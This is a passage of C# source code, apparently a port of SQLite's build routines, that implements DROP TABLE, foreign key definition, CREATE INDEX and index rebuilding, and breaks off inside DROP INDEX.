) && iIdx > iLargest ) { iLargest = iIdx; } } if ( iLargest == 0 ) { return; } else { int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); destroyRootPage( pParse, iLargest, iDb ); iDestroyed = iLargest; } } #endif } /* ** This routine is called to do the work of a DROP TABLE statement. ** pName is the name of the table to be dropped. */ static void sqlite3DropTable( Parse pParse, SrcList pName, int isView, int noErr ) { Table pTab; Vdbe v; sqlite3 db = pParse.db; int iDb; //if ( db.mallocFailed != 0 ) //{ // goto exit_drop_table; //} Debug.Assert( pParse.nErr == 0 ); Debug.Assert( pName.nSrc == 1 ); pTab = sqlite3LocateTable( pParse, isView, pName.a[0].zName, pName.a[0].zDatabase ); if ( pTab == null ) { if ( noErr != 0 ) { sqlite3ErrorClear( pParse ); } goto exit_drop_table; } iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); Debug.Assert( iDb >= 0 && iDb < db.nDb ); /* If pTab is a virtual table, call ViewGetColumnNames() to ensure ** it is initialized. */ if ( IsVirtual( pTab ) && sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) { goto exit_drop_table; } #if !SQLITE_OMIT_AUTHORIZATION { int code; string zTab = SCHEMA_TABLE(iDb); string zDb = db.aDb[iDb].zName; string zArg2 = 0; if( sqlite3AuthCheck(pParse, SQLITE_DELETE, zTab, 0, zDb)){ goto exit_drop_table; } if( isView ){ if( OMIT_TEMPDB ==0&& iDb==1 ){ code = SQLITE_DROP_TEMP_VIEW; }else{ code = SQLITE_DROP_VIEW; } }else if( IsVirtual(pTab) ){ code = SQLITE_DROP_VTABLE; zArg2 = sqlite3GetVTable(db, pTab)->pMod->zName; }else{ if( OMIT_TEMPDB ==0&& iDb==1 ){ code = SQLITE_DROP_TEMP_TABLE; }else{ code = SQLITE_DROP_TABLE; } } if( sqlite3AuthCheck(pParse, code, pTab.zName, zArg2, zDb) ){ goto exit_drop_table; } if( sqlite3AuthCheck(pParse, SQLITE_DELETE, pTab.zName, 0, zDb) ){ goto exit_drop_table; } } #endif if ( sqlite3StrNICmp( pTab.zName, "sqlite_", 7 ) == 0 ) { sqlite3ErrorMsg( pParse, "table %s may not be dropped", pTab.zName ); goto exit_drop_table; } #if !SQLITE_OMIT_VIEW /* Ensure DROP TABLE is not used on a view, and DROP VIEW is not used ** on a table. */ if ( isView != 0 && pTab.pSelect == null ) { sqlite3ErrorMsg( pParse, "use DROP TABLE to delete table %s", pTab.zName ); goto exit_drop_table; } if ( 0 == isView && pTab.pSelect != null ) { sqlite3ErrorMsg( pParse, "use DROP VIEW to delete view %s", pTab.zName ); goto exit_drop_table; } #endif /* Generate code to remove the table from the master table ** on disk. */ v = sqlite3GetVdbe( pParse ); if ( v != null ) { Trigger pTrigger; Db pDb = db.aDb[iDb]; sqlite3BeginWriteOperation( pParse, 1, iDb ); if ( IsVirtual( pTab ) ) { sqlite3VdbeAddOp0( v, OP_VBegin ); } /* Drop all triggers associated with the table being dropped. Code ** is generated to remove entries from sqlite_master and/or ** sqlite_temp_master if required. */ pTrigger = sqlite3TriggerList( pParse, pTab ); while ( pTrigger != null ) { Debug.Assert( pTrigger.pSchema == pTab.pSchema || pTrigger.pSchema == db.aDb[1].pSchema ); sqlite3DropTriggerPtr( pParse, pTrigger ); pTrigger = pTrigger.pNext; } #if !SQLITE_OMIT_AUTOINCREMENT /* Remove any entries of the sqlite_sequence table associated with ** the table being dropped. This is done before the table is dropped ** at the btree level, in case the sqlite_sequence table needs to ** move as a result of the drop (can happen in auto-vacuum mode). */ if ( ( pTab.tabFlags & TF_Autoincrement ) != 0 ) { sqlite3NestedParse( pParse, "DELETE FROM %s.sqlite_sequence WHERE name=%Q", pDb.zName, pTab.zName ); } #endif /* Drop all SQLITE_MASTER table and index entries that refer to the ** table. The program name loops through the master table and deletes ** every row that refers to a table of the same name as the one being ** dropped. Triggers are handled seperately because a trigger can be ** created in the temp database that refers to a table in another ** database. */ sqlite3NestedParse( pParse, "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'", pDb.zName, SCHEMA_TABLE( iDb ), pTab.zName ); /* Drop any statistics from the sqlite_stat1 table, if it exists */ if ( sqlite3FindTable( db, "sqlite_stat1", db.aDb[iDb].zName ) != null ) { sqlite3NestedParse( pParse, "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q", pDb.zName, pTab.zName ); } if ( 0 == isView && !IsVirtual( pTab ) ) { destroyTable( pParse, pTab ); } /* Remove the table entry from SQLite's internal schema and modify ** the schema cookie. */ if ( IsVirtual( pTab ) ) { sqlite3VdbeAddOp4( v, OP_VDestroy, iDb, 0, 0, pTab.zName, 0 ); } sqlite3VdbeAddOp4( v, OP_DropTable, iDb, 0, 0, pTab.zName, 0 ); sqlite3ChangeCookie( pParse, iDb ); } sqliteViewResetAll( db, iDb ); exit_drop_table: sqlite3SrcListDelete( db, ref pName ); } /* ** This routine is called to create a new foreign key on the table ** currently under construction. pFromCol determines which columns ** in the current table point to the foreign key. If pFromCol==0 then ** connect the key to the last column inserted. pTo is the name of ** the table referred to. pToCol is a list of tables in the other ** pTo table that the foreign key points to. flags contains all ** information about the conflict resolution algorithms specified ** in the ON DELETE, ON UPDATE and ON INSERT clauses. ** ** An FKey structure is created and added to the table currently ** under construction in the pParse.pNewTable field. ** ** The foreign key is set for IMMEDIATE processing. A subsequent call ** to sqlite3DeferForeignKey() might change this to DEFERRED. */ // OVERLOADS, so I don't need to rewrite parse.c static void sqlite3CreateForeignKey( Parse pParse, int null_2, Token pTo, ExprList pToCol, int flags ) { sqlite3CreateForeignKey( pParse, null, pTo, pToCol, flags ); } static void sqlite3CreateForeignKey( Parse pParse, /* Parsing context */ ExprList pFromCol, /* Columns in this table that point to other table */ Token pTo, /* Name of the other table */ ExprList pToCol, /* Columns in the other table */ int flags /* Conflict resolution algorithms. */ ) { sqlite3 db = pParse.db; #if !SQLITE_OMIT_FOREIGN_KEY FKey pFKey = null; Table p = pParse.pNewTable; int nByte; int i; int nCol; //string z; Debug.Assert( pTo != null ); if ( p == null || IN_DECLARE_VTAB ) goto fk_end; if ( pFromCol == null ) { int iCol = p.nCol - 1; if ( NEVER( iCol < 0 ) ) goto fk_end; if ( pToCol != null && pToCol.nExpr != 1 ) { sqlite3ErrorMsg( pParse, "foreign key on %s" + " should reference only one column of table %T", p.aCol[iCol].zName, pTo ); goto fk_end; } nCol = 1; } else if ( pToCol != null && pToCol.nExpr != pFromCol.nExpr ) { sqlite3ErrorMsg( pParse, "number of columns in foreign key does not match the number of " + "columns in the referenced table" ); goto fk_end; } else { nCol = pFromCol.nExpr; } //nByte = sizeof(*pFKey) + (nCol-1)*sizeof(pFKey.aCol[0]) + pTo.n + 1; //if( pToCol ){ // for(i=0; ia[i].zName) + 1; // } //} pFKey = new FKey();//sqlite3DbMallocZero(db, nByte ); if ( pFKey == null ) { goto fk_end; } pFKey.pFrom = p; pFKey.pNextFrom = p.pFKey; //z = pFKey.aCol[nCol].zCol; pFKey.aCol = new FKey.sColMap[nCol];// z; pFKey.aCol[0] = new FKey.sColMap(); pFKey.zTo = pTo.z.Substring( 0, pTo.n ); //memcpy( z, pTo.z, pTo.n ); //z[pTo.n] = 0; sqlite3Dequote( ref pFKey.zTo ); //z += pTo.n + 1; pFKey.nCol = nCol; if ( pFromCol == null ) { pFKey.aCol[0].iFrom = p.nCol - 1; } else { for ( i = 0 ; i < nCol ; i++ ) { if ( pFKey.aCol[i] == null ) pFKey.aCol[i] = new FKey.sColMap(); int j; for ( j = 0 ; j < p.nCol ; j++ ) { if ( sqlite3StrICmp( p.aCol[j].zName, pFromCol.a[i].zName ) == 0 ) { pFKey.aCol[i].iFrom = j; break; } } if ( j >= p.nCol ) { sqlite3ErrorMsg( pParse, "unknown column \"%s\" in foreign key definition", pFromCol.a[i].zName ); goto fk_end; } } } if ( pToCol != null ) { for ( i = 0 ; i < nCol ; i++ ) { int n = sqlite3Strlen30( pToCol.a[i].zName ); if ( pFKey.aCol[i] == null ) pFKey.aCol[i] = new FKey.sColMap(); pFKey.aCol[i].zCol = pToCol.a[i].zName; //memcpy( z, pToCol.a[i].zName, n ); //z[n] = 0; //z += n + 1; } } pFKey.isDeferred = 0; pFKey.deleteConf = (u8)( flags & 0xff ); pFKey.updateConf = (u8)( ( flags >> 8 ) & 0xff ); pFKey.insertConf = (u8)( ( flags >> 16 ) & 0xff ); /* Link the foreign key to the table as the last step. */ p.pFKey = pFKey; pFKey = null; fk_end: //sqlite3DbFree( db, ref pFKey ); #endif // * !SQLITE_OMIT_FOREIGN_KEY) */ sqlite3ExprListDelete( db, ref pFromCol ); sqlite3ExprListDelete( db, ref pToCol ); } /* ** This routine is called when an INITIALLY IMMEDIATE or INITIALLY DEFERRED ** clause is seen as part of a foreign key definition. The isDeferred ** parameter is 1 for INITIALLY DEFERRED and 0 for INITIALLY IMMEDIATE. ** The behavior of the most recently created foreign key is adjusted ** accordingly. */ static void sqlite3DeferForeignKey( Parse pParse, int isDeferred ) { #if !SQLITE_OMIT_FOREIGN_KEY Table pTab; FKey pFKey; if ( ( pTab = pParse.pNewTable ) == null || ( pFKey = pTab.pFKey ) == null ) return; Debug.Assert( isDeferred == 0 || isDeferred == 1 ); pFKey.isDeferred = (u8)isDeferred; #endif } /* ** Generate code that will erase and refill index pIdx. This is ** used to initialize a newly created index or to recompute the ** content of an index in response to a REINDEX command. ** ** if memRootPage is not negative, it means that the index is newly ** created. The register specified by memRootPage contains the ** root page number of the index. If memRootPage is negative, then ** the index already exists and must be cleared before being refilled and ** the root page number of the index is taken from pIndex.tnum. */ static void sqlite3RefillIndex( Parse pParse, Index pIndex, int memRootPage ) { Table pTab = pIndex.pTable; /* The table that is indexed */ int iTab = pParse.nTab++; /* Btree cursor used for pTab */ int iIdx = pParse.nTab++; /* Btree cursor used for pIndex */ int addr1; /* Address of top of loop */ int tnum; /* Root page of index */ Vdbe v; /* Generate code into this virtual machine */ KeyInfo pKey; /* KeyInfo for index */ int regIdxKey; /* Registers containing the index key */ int regRecord; /* Register holding assemblied index record */ sqlite3 db = pParse.db; /* The database connection */ int iDb = sqlite3SchemaToIndex( db, pIndex.pSchema ); #if !SQLITE_OMIT_AUTHORIZATION if( sqlite3AuthCheck(pParse, SQLITE_REINDEX, pIndex.zName, 0, db.aDb[iDb].zName ) ){ return; } #endif /* Require a write-lock on the table to perform this operation */ sqlite3TableLock( pParse, iDb, pTab.tnum, 1, pTab.zName ); v = sqlite3GetVdbe( pParse ); if ( v == null ) return; if ( memRootPage >= 0 ) { tnum = memRootPage; } else { tnum = pIndex.tnum; sqlite3VdbeAddOp2( v, OP_Clear, tnum, iDb ); } pKey = sqlite3IndexKeyinfo( pParse, pIndex ); sqlite3VdbeAddOp4( v, OP_OpenWrite, iIdx, tnum, iDb, pKey, P4_KEYINFO_HANDOFF ); if ( memRootPage >= 0 ) { sqlite3VdbeChangeP5( v, 1 ); } sqlite3OpenTable( pParse, iTab, iDb, pTab, OP_OpenRead ); addr1 = sqlite3VdbeAddOp2( v, OP_Rewind, iTab, 0 ); regRecord = sqlite3GetTempReg( pParse ); regIdxKey = sqlite3GenerateIndexKey( pParse, pIndex, iTab, regRecord, true ); if ( pIndex.onError != OE_None ) { int regRowid = regIdxKey + pIndex.nColumn; int j2 = sqlite3VdbeCurrentAddr( v ) + 2; int pRegKey = regIdxKey;// SQLITE_INT_TO_PTR( regIdxKey ); /* The registers accessed by the OP_IsUnique opcode were allocated ** using sqlite3GetTempRange() inside of the sqlite3GenerateIndexKey() ** call above. Just before that function was freed they were released ** (made available to the compiler for reuse) using ** sqlite3ReleaseTempRange(). So in some ways having the OP_IsUnique ** opcode use the values stored within seems dangerous. However, since ** we can be sure that no other temp registers have been allocated ** since sqlite3ReleaseTempRange() was called, it is safe to do so. */ sqlite3VdbeAddOp4( v, OP_IsUnique, iIdx, j2, regRowid, pRegKey, P4_INT32 ); sqlite3VdbeAddOp4( v, OP_Halt, SQLITE_CONSTRAINT, OE_Abort, 0, "indexed columns are not unique", P4_STATIC ); } sqlite3VdbeAddOp2( v, OP_IdxInsert, iIdx, regRecord ); sqlite3VdbeChangeP5( v, OPFLAG_USESEEKRESULT ); sqlite3ReleaseTempReg( pParse, regRecord ); sqlite3VdbeAddOp2( v, OP_Next, iTab, addr1 + 1 ); sqlite3VdbeJumpHere( v, addr1 ); sqlite3VdbeAddOp1( v, OP_Close, iTab ); sqlite3VdbeAddOp1( v, OP_Close, iIdx ); } /* ** Create a new index for an SQL table. pName1.pName2 is the name of the index ** and pTblList is the name of the table that is to be indexed. Both will ** be NULL for a primary key or an index that is created to satisfy a ** UNIQUE constraint. If pTable and pIndex are NULL, use pParse.pNewTable ** as the table to be indexed. pParse.pNewTable is a table that is ** currently being constructed by a CREATE TABLE statement. ** ** pList is a list of columns to be indexed. pList will be NULL if this ** is a primary key or unique-constraint on the most recent column added ** to the table currently under construction. */ // OVERLOADS, so I don't need to rewrite parse.c static void sqlite3CreateIndex( Parse pParse, int null_2, int null_3, int null_4, int null_5, int onError, int null_7, int null_8, int sortOrder, int ifNotExist ) { sqlite3CreateIndex( pParse, null, null, null, null, onError, null, null, sortOrder, ifNotExist ); } static void sqlite3CreateIndex( Parse pParse, int null_2, int null_3, int null_4, ExprList pList, int onError, int null_7, int null_8, int sortOrder, int ifNotExist ) { sqlite3CreateIndex( pParse, null, null, null, pList, onError, null, null, sortOrder, ifNotExist ); } static void sqlite3CreateIndex( Parse pParse, /* All information about this Parse */ Token pName1, /* First part of index name. May be NULL */ Token pName2, /* Second part of index name. May be NULL */ SrcList pTblName, /* Table to index. Use pParse.pNewTable if 0 */ ExprList pList, /* A list of columns to be indexed */ int onError, /* OE_Abort, OE_Ignore, OE_Replace, or OE_None */ Token pStart, /* The CREATE token that begins this statement */ Token pEnd, /* The ")" that closes the CREATE INDEX statement */ int sortOrder, /* Sort order of primary key when pList==NULL */ int ifNotExist /* Omit error if index already exists */ ) { Table pTab = null; /* Table to be indexed */ Index pIndex = null; /* The index to be created */ string zName = null; /* Name of the index */ int nName; /* Number of characters in zName */ int i, j; Token nullId = new Token(); /* Fake token for an empty ID list */ DbFixer sFix = new DbFixer(); /* For assigning database names to pTable */ int sortOrderMask; /* 1 to honor DESC in index. 0 to ignore. */ sqlite3 db = pParse.db; Db pDb; /* The specific table containing the indexed database */ int iDb; /* Index of the database that is being written */ Token pName = null; /* Unqualified name of the index to create */ ExprList_item pListItem; /* For looping over pList */ int nCol; int nExtra = 0; StringBuilder zExtra = new StringBuilder(); Debug.Assert( pStart == null || pEnd != null ); /* pEnd must be non-NULL if pStart is */ Debug.Assert( pParse.nErr == 0 ); /* Never called with prior errors */ if ( /* db.mallocFailed != 0 || */ IN_DECLARE_VTAB ) { goto exit_create_index; } if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) { goto exit_create_index; } /* ** Find the table that is to be indexed. Return early if not found. */ if ( pTblName != null ) { /* Use the two-part index name to determine the database ** to search for the table. 'Fix' the table name to this db ** before looking up the table. */ Debug.Assert( pName1 != null && pName2 != null ); iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pName ); if ( iDb < 0 ) goto exit_create_index; #if !SQLITE_OMIT_TEMPDB /* If the index name was unqualified, check if the the table ** is a temp table. If so, set the database to 1. Do not do this ** if initialising a database schema. */ if ( 0 == db.init.busy ) { pTab = sqlite3SrcListLookup( pParse, pTblName ); if ( pName2.n == 0 && pTab != null && pTab.pSchema == db.aDb[1].pSchema ) { iDb = 1; } } #endif if ( sqlite3FixInit( sFix, pParse, iDb, "index", pName ) != 0 && sqlite3FixSrcList( sFix, pTblName ) != 0 ) { /* Because the parser constructs pTblName from a single identifier, ** sqlite3FixSrcList can never fail. */ Debugger.Break(); } pTab = sqlite3LocateTable( pParse, 0, pTblName.a[0].zName, pTblName.a[0].zDatabase ); if ( pTab == null /*|| db.mallocFailed != 0 */ ) goto exit_create_index; Debug.Assert( db.aDb[iDb].pSchema == pTab.pSchema ); } else { Debug.Assert( pName == null ); pTab = pParse.pNewTable; if ( pTab == null ) goto exit_create_index; iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); } pDb = db.aDb[iDb]; Debug.Assert( pTab != null ); Debug.Assert( pParse.nErr == 0 ); if ( sqlite3StrNICmp( pTab.zName, "sqlite_", 7 ) == 0 && sqlite3StrNICmp( pTab.zName, 7, "altertab_", 9 ) != 0 ) { sqlite3ErrorMsg( pParse, "table %s may not be indexed", pTab.zName ); goto exit_create_index; } #if !SQLITE_OMIT_VIEW if ( pTab.pSelect != null ) { sqlite3ErrorMsg( pParse, "views may not be indexed" ); goto exit_create_index; } #endif if ( IsVirtual( pTab ) ) { sqlite3ErrorMsg( pParse, "virtual tables may not be indexed" ); goto exit_create_index; } /* ** Find the name of the index. Make sure there is not already another ** index or table with the same name. ** ** Exception: If we are reading the names of permanent indices from the ** sqlite_master table (because some other process changed the schema) and ** one of the index names collides with the name of a temporary table or ** index, then we will continue to process this index. ** ** If pName==0 it means that we are ** dealing with a primary key or UNIQUE constraint. We have to invent our ** own name. */ if ( pName != null ) { zName = sqlite3NameFromToken( db, pName ); if ( zName == null ) goto exit_create_index; if ( SQLITE_OK != sqlite3CheckObjectName( pParse, zName ) ) { goto exit_create_index; } if ( 0 == db.init.busy ) { if ( sqlite3FindTable( db, zName, null ) != null ) { sqlite3ErrorMsg( pParse, "there is already a table named %s", zName ); goto exit_create_index; } } if ( sqlite3FindIndex( db, zName, pDb.zName ) != null ) { if ( ifNotExist == 0 ) { sqlite3ErrorMsg( pParse, "index %s already exists", zName ); } goto exit_create_index; } } else { int n = 0; Index pLoop; for ( pLoop = pTab.pIndex, n = 1 ; pLoop != null ; pLoop = pLoop.pNext, n++ ) { } zName = sqlite3MPrintf( db, "sqlite_autoindex_%s_%d", pTab.zName, n ); if ( zName == null ) { goto exit_create_index; } } /* Check for authorization to create an index. */ #if !SQLITE_OMIT_AUTHORIZATION { string zDb = pDb.zName; if( sqlite3AuthCheck(pParse, SQLITE_INSERT, SCHEMA_TABLE(iDb), 0, zDb) ){ goto exit_create_index; } i = SQLITE_CREATE_INDEX; if( OMIT_TEMPDB ==0&& iDb==1 ) i = SQLITE_CREATE_TEMP_INDEX; if( sqlite3AuthCheck(pParse, i, zName, pTab.zName, zDb) ){ goto exit_create_index; } } #endif /* If pList==0, it means this routine was called to make a primary ** key out of the last column added to the table under construction. ** So create a fake list to simulate this. */ if ( pList == null ) { nullId.z = pTab.aCol[pTab.nCol - 1].zName; nullId.n = sqlite3Strlen30( nullId.z ); pList = sqlite3ExprListAppend( pParse, null, null ); if ( pList == null ) goto exit_create_index; sqlite3ExprListSetName( pParse, pList, nullId, 0 ); pList.a[0].sortOrder = (u8)sortOrder; } /* Figure out how many bytes of space are required to store explicitly ** specified collation sequence names. */ for ( i = 0 ; i < pList.nExpr ; i++ ) { Expr pExpr = pList.a[i].pExpr; if ( pExpr != null ) { CollSeq pColl = pExpr.pColl; /* Either pColl!=0 or there was an OOM failure. But if an OOM ** failure we have quit before reaching this point. */ if ( ALWAYS( pColl != null ) ) { nExtra += ( 1 + sqlite3Strlen30( pColl.zName ) ); } } } /* ** Allocate the index structure. */ nName = sqlite3Strlen30( zName ); nCol = pList.nExpr; pIndex = new Index(); // sqlite3DbMallocZero( db, // Index.Length + /* Index structure */ // sizeof( int ) * nCol + /* Index.aiColumn */ // sizeof( int ) * ( nCol + 1 ) + /* Index.aiRowEst */ // sizeof( char* ) * nCol + /* Index.azColl */ // u8.Length * nCol + /* Index.aSortOrder */ // nName + 1 + /* Index.zName */ // nExtra /* Collation sequence names */ //); //if ( db.mallocFailed != 0 ) //{ // goto exit_create_index; //} pIndex.azColl = new string[nCol];//(char**)(pIndex[1]); pIndex.aiColumn = new int[nCol + 1];//(int *)(pIndex->azColl[nCol]); pIndex.aiRowEst = new int[nCol + 1];//(unsigned *)(pIndex->aiColumn[nCol]); pIndex.aSortOrder = new byte[nCol + 1];//(u8 *)(pIndex->aiRowEst[nCol+1]); //pIndex.zName = null;// (char*)( &pIndex->aSortOrder[nCol] ); zExtra = new StringBuilder( nName + 1 );// (char*)( &pIndex.zName[nName + 1] ); if ( zName.Length == nName ) pIndex.zName = zName; else { pIndex.zName = zName.Substring( 0, nName ); }// memcpy( pIndex.zName, zName, nName + 1 ); pIndex.pTable = pTab; pIndex.nColumn = pList.nExpr; pIndex.onError = (u8)onError; pIndex.autoIndex = (u8)( pName == null ? 1 : 0 ); pIndex.pSchema = db.aDb[iDb].pSchema; /* Check to see if we should honor DESC requests on index columns */ if ( pDb.pSchema.file_format >= 4 ) { sortOrderMask = 1; /* Honor DESC */ } else { sortOrderMask = 0; /* Ignore DESC */ } /* Scan the names of the columns of the table to be indexed and ** load the column indices into the Index structure. Report an error ** if any column is not found. ** ** TODO: Add a test to make sure that the same column is not named ** more than once within the same index. Only the first instance of ** the column will ever be used by the optimizer. Note that using the ** same column more than once cannot be an error because that would ** break backwards compatibility - it needs to be a warning. */ for ( i = 0 ; i < pList.nExpr ; i++ ) {//, pListItem++){ pListItem = pList.a[i]; string zColName = pListItem.zName; Column pTabCol; byte requestedSortOrder; string zColl; /* Collation sequence name */ for ( j = 0 ; j < pTab.nCol ; j++ ) {//, pTabCol++){ pTabCol = pTab.aCol[j]; if ( sqlite3StrICmp( zColName, pTabCol.zName ) == 0 ) break; } if ( j >= pTab.nCol ) { sqlite3ErrorMsg( pParse, "table %s has no column named %s", pTab.zName, zColName ); goto exit_create_index; } pIndex.aiColumn[i] = j; /* Justification of the ALWAYS(pListItem->pExpr->pColl): Because of ** the way the "idxlist" non-terminal is constructed by the parser, ** if pListItem->pExpr is not null then either pListItem->pExpr->pColl ** must exist or else there must have been an OOM error. But if there ** was an OOM error, we would never reach this point. */ if ( pListItem.pExpr != null && ALWAYS( pListItem.pExpr.pColl ) ) { int nColl; zColl = pListItem.pExpr.pColl.zName; nColl = sqlite3Strlen30( zColl ); Debug.Assert( nExtra >= nColl ); zExtra = new StringBuilder( zColl.Substring( 0, nColl ) );// memcpy( zExtra, zColl, nColl ); zColl = zExtra.ToString(); //zExtra += nColl; nExtra -= nColl; } else { zColl = pTab.aCol[j].zColl; if ( zColl == null ) { zColl = db.pDfltColl.zName; } } if ( 0 == db.init.busy && sqlite3LocateCollSeq( pParse, zColl ) == null ) { goto exit_create_index; } pIndex.azColl[i] = zColl; requestedSortOrder = (u8)( ( pListItem.sortOrder & sortOrderMask ) != 0 ? 1 : 0 ); pIndex.aSortOrder[i] = (u8)requestedSortOrder; } sqlite3DefaultRowEst( pIndex ); if ( pTab == pParse.pNewTable ) { /* This routine has been called to create an automatic index as a ** result of a PRIMARY KEY or UNIQUE clause on a column definition, or ** a PRIMARY KEY or UNIQUE clause following the column definitions. ** i.e. one of: ** ** CREATE TABLE t(x PRIMARY KEY, y); ** CREATE TABLE t(x, y, UNIQUE(x, y)); ** ** Either way, check to see if the table already has such an index. If ** so, don't bother creating this one. This only applies to ** automatically created indices. Users can do as they wish with ** explicit indices. ** ** Two UNIQUE or PRIMARY KEY constraints are considered equivalent ** (and thus suppressing the second one) even if they have different ** sort orders. ** ** If there are different collating sequences or if the columns of ** the constraint occur in different orders, then the constraints are ** considered distinct and both result in separate indices. */ Index pIdx; for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) { int k; Debug.Assert( pIdx.onError != OE_None ); Debug.Assert( pIdx.autoIndex != 0 ); Debug.Assert( pIndex.onError != OE_None ); if ( pIdx.nColumn != pIndex.nColumn ) continue; for ( k = 0 ; k < pIdx.nColumn ; k++ ) { string z1; string z2; if ( pIdx.aiColumn[k] != pIndex.aiColumn[k] ) break; z1 = pIdx.azColl[k]; z2 = pIndex.azColl[k]; if ( z1 != z2 && sqlite3StrICmp( z1, z2 ) != 0 ) break; } if ( k == pIdx.nColumn ) { if ( pIdx.onError != pIndex.onError ) { /* This constraint creates the same index as a previous ** constraint specified somewhere in the CREATE TABLE statement. ** However the ON CONFLICT clauses are different. If both this ** constraint and the previous equivalent constraint have explicit ** ON CONFLICT clauses this is an error. Otherwise, use the ** explicitly specified behavior for the index. */ if ( !( pIdx.onError == OE_Default || pIndex.onError == OE_Default ) ) { sqlite3ErrorMsg( pParse, "conflicting ON CONFLICT clauses specified", 0 ); } if ( pIdx.onError == OE_Default ) { pIdx.onError = pIndex.onError; } } goto exit_create_index; } } } /* Link the new Index structure to its table and to the other ** in-memory database structures. */ if ( db.init.busy != 0 ) { Index p; p = (Index)sqlite3HashInsert( ref pIndex.pSchema.idxHash, pIndex.zName, sqlite3Strlen30( pIndex.zName ), pIndex ); if ( p != null ) { Debug.Assert( p == pIndex ); /* Malloc must have failed */ // db.mallocFailed = 1; goto exit_create_index; } db.flags |= SQLITE_InternChanges; if ( pTblName != null ) { pIndex.tnum = db.init.newTnum; } } /* If the db.init.busy is 0 then create the index on disk. This ** involves writing the index into the master table and filling in the ** index with the current table contents. ** ** The db.init.busy is 0 when the user first enters a CREATE INDEX ** command. db.init.busy is 1 when a database is opened and ** CREATE INDEX statements are read out of the master table. In ** the latter case the index already exists on disk, which is why ** we don't want to recreate it. ** ** If pTblName==0 it means this index is generated as a primary key ** or UNIQUE constraint of a CREATE TABLE statement. Since the table ** has just been created, it contains no data and the index initialization ** step can be skipped. */ else //if ( 0 == db.init.busy ) { Vdbe v; string zStmt; int iMem = ++pParse.nMem; v = sqlite3GetVdbe( pParse ); if ( v == null ) goto exit_create_index; /* Create the rootpage for the index */ sqlite3BeginWriteOperation( pParse, 1, iDb ); sqlite3VdbeAddOp2( v, OP_CreateIndex, iDb, iMem ); /* Gather the complete text of the CREATE INDEX statement into ** the zStmt variable */ if ( pStart != null ) { Debug.Assert( pEnd != null ); /* A named index with an explicit CREATE INDEX statement */ zStmt = sqlite3MPrintf( db, "CREATE%s INDEX %.*s", onError == OE_None ? "" : " UNIQUE", pName.z.Length - pEnd.z.Length + 1, pName.z ); } else { /* An automatic index created by a PRIMARY KEY or UNIQUE constraint */ /* zStmt = sqlite3MPrintf(""); */ zStmt = null; } /* Add an entry in sqlite_master for this index */ sqlite3NestedParse( pParse, "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);", db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), pIndex.zName, pTab.zName, iMem, zStmt ); //sqlite3DbFree( db, ref zStmt ); /* Fill the index with data and reparse the schema. Code an OP_Expire ** to invalidate all pre-compiled statements. */ if ( pTblName != null ) { sqlite3RefillIndex( pParse, pIndex, iMem ); sqlite3ChangeCookie( pParse, iDb ); sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0, sqlite3MPrintf( db, "name='%q'", pIndex.zName ), P4_DYNAMIC ); sqlite3VdbeAddOp1( v, OP_Expire, 0 ); } } /* When adding an index to the list of indices for a table, make ** sure all indices labeled OE_Replace come after all those labeled ** OE_Ignore. This is necessary for the correct constraint check ** processing (in sqlite3GenerateConstraintChecks()) as part of ** UPDATE and INSERT statements. */ if ( db.init.busy != 0 || pTblName == null ) { if ( onError != OE_Replace || pTab.pIndex == null || pTab.pIndex.onError == OE_Replace ) { pIndex.pNext = pTab.pIndex; pTab.pIndex = pIndex; } else { Index pOther = pTab.pIndex; while ( pOther.pNext != null && pOther.pNext.onError != OE_Replace ) { pOther = pOther.pNext; } pIndex.pNext = pOther.pNext; pOther.pNext = pIndex; } pIndex = null; } /* Clean up before exiting */ exit_create_index: if ( pIndex != null ) { //sqlite3_free( ref pIndex.zColAff ); //sqlite3DbFree( db, ref pIndex ); } sqlite3ExprListDelete( db, ref pList ); sqlite3SrcListDelete( db, ref pTblName ); //sqlite3DbFree( db, ref zName ); return; } /* ** Fill the Index.aiRowEst[] array with default information - information ** to be used when we have not run the ANALYZE command. ** ** aiRowEst[0] is suppose to contain the number of elements in the index. ** Since we do not know, guess 1 million. aiRowEst[1] is an estimate of the ** number of rows in the table that match any particular value of the ** first column of the index. aiRowEst[2] is an estimate of the number ** of rows that match any particular combiniation of the first 2 columns ** of the index. And so forth. It must always be the case that * ** aiRowEst[N]<=aiRowEst[N-1] ** aiRowEst[N]>=1 ** ** Apart from that, we have little to go on besides intuition as to ** how aiRowEst[] should be initialized. The numbers generated here ** are based on typical values found in actual indices. */ static void sqlite3DefaultRowEst( Index pIdx ) { int[] a = pIdx.aiRowEst; int i; Debug.Assert( a != null ); a[0] = 1000000; for ( i = pIdx.nColumn ; i >= 5 ; i-- ) { a[i] = 5; } while ( i >= 1 ) { a[i] = 11 - i; i--; } if ( pIdx.onError != OE_None ) { a[pIdx.nColumn] = 1; } } /* ** This routine will drop an existing named index. This routine ** implements the DROP INDEX statement. */ static void sqlite3DropIndex( Parse pParse, SrcList pName, int ifExists ) { Index pIndex; Vdbe v; sqlite3 db = pParse.db; int iDb; Debug.Assert( pParse.nErr == 0 ); /* Never called with prior errors */ //if ( db.mallocFailed != 0 ) //{ // goto exit_drop_index; //} Debug.Assert( pName.nSrc == 1 ); if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) { goto exit_drop_index; } pIndex = sqlite3FindIndex( db, pName.a[0].zName, pName.a[0].zDatabase ); if ( pIndex == null ) { if ( ifExists == 0 ) { sqlite3ErrorMsg( pParse, "no such index: %S", pName, 0 ); } pParse.checkSchema = 1; goto exit_drop_index; } if ( pIndex.autoIndex != 0 ) { sqlite3ErrorMsg( pParse, "index associated with UNIQUE " + "or PRIMARY KEY constraint cannot be dropped", 0 ); goto exit_drop_index; } iDb = sqlite3SchemaToIndex( db, pIndex.pSchema ); #if !SQLITE_OMIT_AUTHORIZATION { int code = SQLITE_DROP_INDEX; Table pTab = pIndex.pTable; string zDb = db.aDb[iDb].zName; string zTab = 